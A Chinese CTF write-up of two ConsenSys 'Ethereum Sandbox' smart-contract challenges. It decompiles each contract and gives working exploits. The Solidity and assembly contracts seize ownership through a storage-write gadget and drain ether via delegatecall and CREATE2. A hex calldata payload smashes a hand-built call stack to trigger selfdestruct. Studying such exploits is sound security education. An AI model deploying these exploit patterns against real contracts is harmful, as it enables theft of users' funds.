本文为ConsenSys CTF,Ethereum Sandbox相关的一篇文章。 在了解这个题目前需要我们对以太坊和Solidity的基本概念进行理解。

题目一

我们的目标部署0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a的一个合约上。该合约没有经过代码验证操作,所以我们需要对该合约进行逆向从而获取源代码信息。

代码信息如下:

// Decompiled at www.contract-library.com

// Data structures and variables inferred from the use of storage instructions
uint256[] stor_write_what_where_gadget; // STORAGE[0x0]
uint256[] stor_owners; // STORAGE[0x1]

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint256 function_selector) public {
  MEM[0x40] = 0x80;
  if ((msg.data.length() >= 0x4)) {
    if ((0x25e7c27 == function_selector)) owners(uint256)(function_selector);
    if ((0x2918435f == function_selector)) fun_sandbox(address)();
    if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
    if ((0x74e3fb3e == function_selector)) 0x74e3fb3e(function_selector);
  }
  throw();
}

function write_what_where_gadget() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x40));
  v1200x149 = msg.data[v1200x131];
  v1200x14d = v1200x131 + 32;
  require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
  stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
  exit();
}

function 0x74e3fb3e() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x20));
  v1650x18e = msg.data[v1650x176];
  require((v1650x18e < stor_write_what_where_gadget.length));
  v1650x1a1 = MEM[0x40];
  MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
  return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}

function owners() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x20));
  v610x8a = msg.data[v610x72];
  require((v610x8a < stor_owners.length));
  v610x1ef = address(stor_owners[v610x8a][0] >> 0);
  v610x9d = MEM[0x40];
  MEM[v610x9d] = address(v610x1ef);
  return(MEM[MEM[0x40]:MEM[0x40] + (v610x9d + 32 - MEM[0x40])]);
}

function fun_sandbox(address varg0) public {
  require(((msg.data.length() - 0x4) >= 0x20));
  v289_1 = 0x0;
  v20b_0 = 0x0;
  while (true) {
    if ((v20b_0 >= stor_owners.length)) break;
    require((v20b_0 < stor_owners.length));
    if ((address(msg.sender) == address(stor_owners[v20b_0][0] >> 0))) {
      v289_1 = 0x1;
    }
    v20b_0 = v20b_0 + 1;
    continue;
  }
  require(v289_1);
  v29c = extcodesize(varg0);
  v2a1 = MEM[0x40];
  MEM[0x40] = (v2a1 + (v29c + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
  MEM[v2a1] = v29c;
  EXTCODECOPY(varg0, v2a1 + 32, 0x0, v29c);
  v2cf_0 = 0x0;
  while (true) {
    if ((v2cf_0 >= MEM[v2a1])) break;
    if ((v2cf_0 < MEM[v2a1])) break;
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf0 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf1 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf2 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf4 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xfa << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xff << 248));
    v2cf_0 = v2cf_0 + 1;
    continue;
  }
  v714 = address(varg0).delegatecall(MEM[MEM[0x40] : MEM[0x40] + ((0x0 + MEM[0x40]) - MEM[0x40])]).gas(msg.gas);
  if ((RETURNDATASIZE != 0x0)) {
    vdc0x724 = MEM[0x40];
    MEM[0x40] = (vdc0x724 + (RETURNDATASIZE + 63 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0));
    MEM[vdc0x724] = RETURNDATASIZE;
    RETURNDATACOPY(vdc0x724 + 32, 0x0, RETURNDATASIZE);
  }
  vdc0x753 = !vdc0x714;
  require(vdc0x714);
  exit();
}

合约未经验证,因此我们将使用合约库的方式对其进行逆向工程https://contract-library.com/contracts/Ethereum/0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a

我们发现在功能0x2918435f中有一个被更改过的调用函数。如果我们可以指定delegatecall使用的地址,那么我们基本上就能拥有合约。 让我们来看看为了触发此漏洞必须满足哪些条件。

首先我们来看先决条件:

function 0x74e3fb3e() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x20));
  v1650x18e = msg.data[v1650x176];
  require((v1650x18e < stor_write_what_where_gadget.length));
  v1650x1a1 = MEM[0x40];
  MEM[v1650x1a1] = stor_write_what_where_gadget[v1650x18e][0];
  return(MEM[MEM[0x40]:MEM[0x40] + (v1650x1a1 + 32 - MEM[0x40])]);
}

在该函数中,我们需要满足:

require(((msg.data.length - 0x4) >= 0x20));

即消息data长度必须至少为32字节。

我们对合约进行一些细微的修改,存储偏移量0x01存储了一个数组。 此代码实质上检查调用者是否在该数组中。 在代码开始处,此数组等于[0xf339084e9838281c953f3e812f32a6e145f64bff]。

bool foundOwner = false;
for (int index = 0; index < owners.length; index++) {
    if (msg.sender == owners[index]) {
        foundOwner = true;
    }
}
require(foundOwner);

之后我们再看下面的内容:

while (true) {
    if ((v2cf_0 >= MEM[v2a1])) break;
    if ((v2cf_0 < MEM[v2a1])) break;
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf0 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf1 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf2 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xf4 << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xfa << 248));
    require((v2cf_0 < MEM[v2a1]));
    require(((0xff00000000000000000000000000000000000000000000000000000000000000 & MEM[v2a1 + v2cf_0 + 32] >> 248 << 248) != 0xff << 248));
    v2cf_0 = v2cf_0 + 1;
    continue;

在合约中我们看到了上述一堆条件,然而这些条件经过分析可以简化为:

bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {
    require(code[index] != 0xf0);
    require(code[index] != 0xf1);
    require(code[index] != 0xf2);
    require(code[index] != 0xf4);
    require(code[index] != 0xfa);
    require(code[index] != 0xf4);
}

这个前提条件很容易理解。 根据黑名单(CREATE,CALL,CALLCODE,DELEGATECALL,STATICCALL和SELFDESTRUCT)检查目标合同代码的每个字节。 这就是类似于沙箱的某种操作。

前提条件1很简单,由于msg.data中的内容是我们给出的,所以其长度很容易满足。然而前提条件2比较棘手。由于我们没有直接修改所有者数组的函数。 因此,我们需要寻找其他的方法来满足上述条件。 唯一的具有修改内容的函数如下:

if ((0x4214352d == function_selector)) write_what_where_gadget(uint256,uint256)();
function write_what_where_gadget() public {
  require(!msg.value);
  require(((msg.data.length() - 0x4) >= 0x40));
  v1200x149 = msg.data[v1200x131];
  v1200x14d = v1200x131 + 32;
  require((msg.data[v1200x14d] < stor_write_what_where_gadget.length));
  stor_write_what_where_gadget[msg.data[v1200x14d]] = v1200x149;
  exit();
}

看起来这个函数并没有什么危险,但实际上此函数隐藏了一个任意的写原语的接口,我们可以用它将合约的owner所有权转让给我们自己。

满足前提条件3是最棘手的,我们需要调用某种方法来转移以太token,并且此过程中不能够使用任何转移函数。

然而这里存在一个名为Constantinople的硬分叉,而这个硬分叉包含了EIP-1014,且它创建一个名为CREATE2的新操作码。 此操作码的行为类似于CREATE,并存在于0xF5的位置。而该字节未被列入黑名单,因此我们可以使用CREATE2将以太网转移出CTF。

如何获得flag呢?

当满足上述的三种条件后flag就很容易获得了。

以下合约为攻击合约,且将通过将存储0x00的值来锁定CTF,并将所有权转移到自己的地址。

contract StorageWriter {
    constructor() public payable {
        assembly {
            mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)
            mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
            return(0x00, 0x40)
        }
    }
}

/**
 * Locks the contract so no one else can take ownership
 */
contract Locker {
    CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);

    constructor() public payable {
        require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);

        bool result;

        // First, make this contract the owner
        (result, ) = address(CTF).call(abi.encodeWithSelector(
            0x4214352d,
            uint(address(this)),
            uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
        ));
        require(result);

        // Second, create the storage writer contract
        StorageWriter locker = new StorageWriter();
        (result, ) = address(CTF).call(abi.encodeWithSelector(
            0x2918435f,
            locker
        ));
        require(result);

        // Third, check result
        require(CTF.owners(0) == tx.origin);

        // Fourth, cleanup
        selfdestruct(tx.origin);
    }
}

StorageWriter合约是用汇编语言编写的,伪代码如下所示。

contract StorageWriter {
    uint[] private someArray;
    address[] private owners;

    function() public payable {
        someArray.length = 0;
        owners[0] = tx.origin;
    }
}

这里有两点需要注意。

  • StorageWriter合同实现需要手写。 这是因为这里的沙箱允许使用特定的字节,而不是特定的操作码。 这意味着即使在常量值的上下文中也禁止0xFA

Locker部署在0x8cd8cc3969f4800257eac48b46e01190477e4cb60d877a50532613db4e32b663上。 它成功锁定合约并将所有权转让给0x5cd5e9e5d251bf23c7238d1972e45a707594f2a0

contract BountyClaimer {
    constructor() public payable {
        assembly {
            mstore(0x00, 0x6132fe6001013452346004601c3031f5)
            return(0x10, 0x20)
        }
    }
}

这个合同也是用汇编语言编写的,所以伪代码在下面给出。

contract BountyClaimerInner {
    constructor() public payable {
        selfdestruct(tx.origin);
    }
}

contract BountyClaimer {
    function() public payable {
        (new BountyClaimerInner).value(address(this).balance)();
    }
}

BountyClaimer合约使用CREATE2创建另一个合同,其中包含函数selfdestruct(tx.origin)。 为了绕过字节0xFF上的黑名单,程序集实际上创建了一个0x32FE + 0x01的合约。

题目二

第二道题目部署到0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87上。

然而,许多反编译器无法对其进行编译操作,所以我们借助上文中的编辑器进行反汇编操作。

// Decompiled at www.contract-library.com

// Data structures and variables inferred from the use of storage instructions
uint256 unknown; // 0x0
uint256 die; // 0x20

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(uint32 function_selector) public {
  MEM[0x40] = 0x100000;
  if ((msg.data.length() >= 0x4)) {
    if ((0x7909947a == function_selector)) 0x7909947a(function_selector);
    if ((0x60fe47b1 == function_selector)) set(uint256)(function_selector);
    if ((0x6d4ce63c == function_selector)) get()();
    v00x5f = (0x35f46994 == v00x37);
    if (v00x5f) die()();
  }
  throw();
}

function 0x7909947a() public {
  MEM[0x100] = 0x100;
  0x8c(0x0, 0x24c);
  0x8c(0x0, 0x25a);
  CALLDATACOPY(0x90000, 0x44, msg.data.length());
  v269_0, v269_1, v269_2 = 0xb4(0x26a);
  0x8c(0x29b, 0x275);
  0x8c(0x90000, 0x281);
  0x8c(v269_0, 0x28a);
  0x8c((msg.data.length() - 0x44), 0x296);
  0x8c(0x0, 0x167);
  while (true) {
    if (!(MEM[MEM[0x100]] - MEM[(MEM[0x100] - 0x20)])) break;
    MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = MEM[(MEM[(MEM[0x100] - 0x60)] + MEM[MEM[0x100]])] >> 248 & 0xFF;
    MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
    continue;
  }
  MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
  while (true) {
    if (!(MEM[MEM[0x100]] % 0x40)) break;
    MEM8[(MEM[(MEM[0x100] - 0x40)] + MEM[MEM[0x100]])] = 0x0;
    MEM[MEM[0x100]] = (MEM[MEM[0x100]] + 0x1);
    continue;
  }
  v218_0 = set_impl(0x219);
  v221_0 = set_impl(0x222);
  v22a_0 = set_impl(0x22b);
  v233_0 = set_impl(0x234);
  0xc3();
}

function set(uint256 varg0) public {
  get_impl(0x317);
  v31e_0, v31e_1, v31e_2 = 0xb4(0x31f);
  0x8c(0x344, 0x32a);
  0x8c(varg0, 0x335);
  0x8c(0x0, 0x33f);
  STORAGE[MEM[MEM[0x100]]] = MEM[(MEM[0x100] - 0x20)];
  v2ff_0 = set_impl(0x300);
  v308_0 = set_impl(0x309);
  0xc3();
}

function get() public {
  get_impl(0x352);
  if ((msg.sender == unknown)) {
    throw();
  } else {
    MEM[0x80] = unknown;
    return(MEM[0x80:0xa0]);
  }
}

function die() public {
  if ((msg.sender != die)) {
    throw();
  } else {
    selfdestruct(die);
  }
}

function 0x8c(uint256 vg0, uint256 vg1) private {
  v93 = (MEM[0x100] + 0x20);
  MEM[0x100] = v93;
  MEM[v93] = vg0;
  return() // to vg1;
}

function set_impl(uint256 vg0) private {
  MEM[0x100] = (MEM[0x100] - 0x20);
  return(MEM[MEM[0x100]]) // to vg0;
}

function 0xb4(uint256 vg0) private {
  return() // to 0x8c;
}

function 0xc3(uint256 vg0) private {
  vca_0 = set_impl(0xcb);
  vd2_0 = set_impl(0xd3);
  MEM[0x100] = vc30xd2_0;
}

function get_impl(uint256 vg0) private {
  require(!msg.value);
  return() // to vg0;
}

其中包含了如下经过签名的函数:

get()die()函数很简单,可以用伪代码表示,如下所示, 我们可以假设get()是作为完整性检查提供的,而die()显然是我们需要调用以解决此CTF的函数。

address private storage_00;
address private storage_20;

function get() public returns (address) {
    require(msg.sender != storage_00);
    return storage_00;
}

function die() public {
    require(msg.sender == storage_20);
    selfdestruct(storage_20);
}

仔细查看set(uint256)函数,我们发现此函数内容非常复杂,由于该函数需要进行手动堆栈调用,其调用过程我总结如下:

function stack_push(uint256 value) private {
    memory[memory[0x100]+0x20] = value;
    memory[0x100] = memory[0x100] + 0x20;
}

function stack_get(uint256 depth) private {
    return memory[memory[0x100] - depth*0x20];
}

function stack_pop() private returns (uint256 value) {
    value = memory[memory[0x100]];
    memory[0x100] = memory[0x100] - 0x20;
}

function stack_push_frame() private {
    stack_push(memory[0x100]);
}

function stack_pop_frame() private returns (uint256 dest) {
    dest = stack_pop();
    memory[0x100] = stack_pop();
}

使用调用堆栈函数,set(uint256)可以表示如下:

function set(uint256 value) public {
    stack_push_frame();
    stack_push(return_lbl);
    stack_push(value);
    stack_push(0x00);
    set_impl();
return_lbl:
    return;
}

function set_impl() private {
    storage[stack_get(0)] = stack_get(1);
    stack_pop();
    stack_pop();
    goto stack_pop_frame();
}

简洁一点:

address private storage_00;

function set(uint256 value) public {
    storage_00 = address(value);
}
function 0x7909947a() public {
    memory[0x100] = 0x100;
    stack_push(0x00);
    var var1 = memory[0x100]; // 0x120
    stack_push(0x00);
    memcpy(memory[0x90000], msg.data[0x44], msg.data.length-0x44);

    stack_push_frame();
    stack_push(irrelevant_lbl);
    stack_push(0x90000);
    stack_push(var1);
    stack_push(msg.data.length - 0x44);
    stack_push(0x00);

    0x7909947a_impl();

irrelevant_lbl:
    // some irrelevant code
}
function 0x7909947a_impl() private {
    copy_data();
    memory[stack_get(2) + stack_get(0)] = 0x00;
    pad_data();

    stack_pop();
    stack_pop();
    stack_pop();
    stack_pop();
    goto stack_pop_frame();
}

function copy_data() private {
    while (stack_get(0) - stack_get(1) != 0) {
        memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248;
        memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
    }
}

function pad_data() private {
    while (stack_get(0) % 0x40 != 0) {
        memory[stack_get(2) + stack_get(0)] = 0x00;
        memory[memory[0x100]] = memory[memory[0x100]] + 0x01;
    }
}

当攻击者能够溢出调用堆栈时,他们可以使用ROP通过破坏返回地址来重定向程序的控制流。

由于CTF的大多数目标是对token进行窃取,所以显然我们需要以某种方式将我们的地址写入内存0x20处。我们在set_impl上进行数据写入,将stack_get(1)写入stack_get(0)。

利用set_impl中的操作,我们使堆栈变为下面的样子:

--------------------------------
|       stack frame set()      |
--------------------------------
|  address of 'return' gadget  |     |
--------------------------------     |   stack grows down
|          our address         |     V
--------------------------------
|             0x20             |
--------------------------------

但是,当输入0x7909947a_impl()时,我们的堆栈如下:

----------------------------------
|              0x00              |    <---- this is 0x0120
----------------------------------
|              0x00              |
----------------------------------
|    stack frame 0x7909947a()    |
----------------------------------
|         irrelevant_lbl         |     |
----------------------------------     |   stack grows down
|            0x090000            |     V
----------------------------------
|             0x0120             |
----------------------------------
|     msg.data.length - 0x44     |
----------------------------------
|              0x00              |
----------------------------------

当调用0x7909947a_impl()时,它会将msg.data[0x44:]复制到内存[0x120]中。 这意味着如果我们的消息长于0x40字节,它将破坏堆栈,然后返回地址,依此类推。 但是,我们无法在堆栈中的两个空白空间中使用set_impl所需的四个堆栈项。

我们将payload复制到内存[0x90000]中。 因此,我们可以简单地更新堆栈帧指针,并使其指向我们的堆栈所在的0x90000处。

我需要对7909947a进行调用。

接下来,两个将被复制到内存[0x120]。

接下来的两个单词将破坏堆栈帧指针和返回地址。 总消息长度为0x184字节,总共为0x140字节。 因此我们的假堆栈帧将指向0x90140。 根据函数set_impl所在的位置,我们使用0x2ea作为返回地址。

0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea

因为payload一次一个字节地复制到存储器中,所以在覆盖接下来的四个字时需要我们注意。前三个是静态值后面那个是动态的。 但是第四个字是当前复制的字节数,因此我们必须指定在该时间点复制的字节数。

0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff

最后,我们构造了set_impl,并使用其对堆栈进行读取操作。首先指定set_impl的返回地址,且该地址return_lbl或0x344。 然后,我们指定要写入存储的值。 最后我们指定要写入的存储槽。

0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020

payload如下:

7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020

攻击合约如下:

pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address) ;
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}

本次两道题目难度较大,需要进行逆向,且与常规的题目不太相同,希望能帮助读者更进一步理解。

参考链接

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖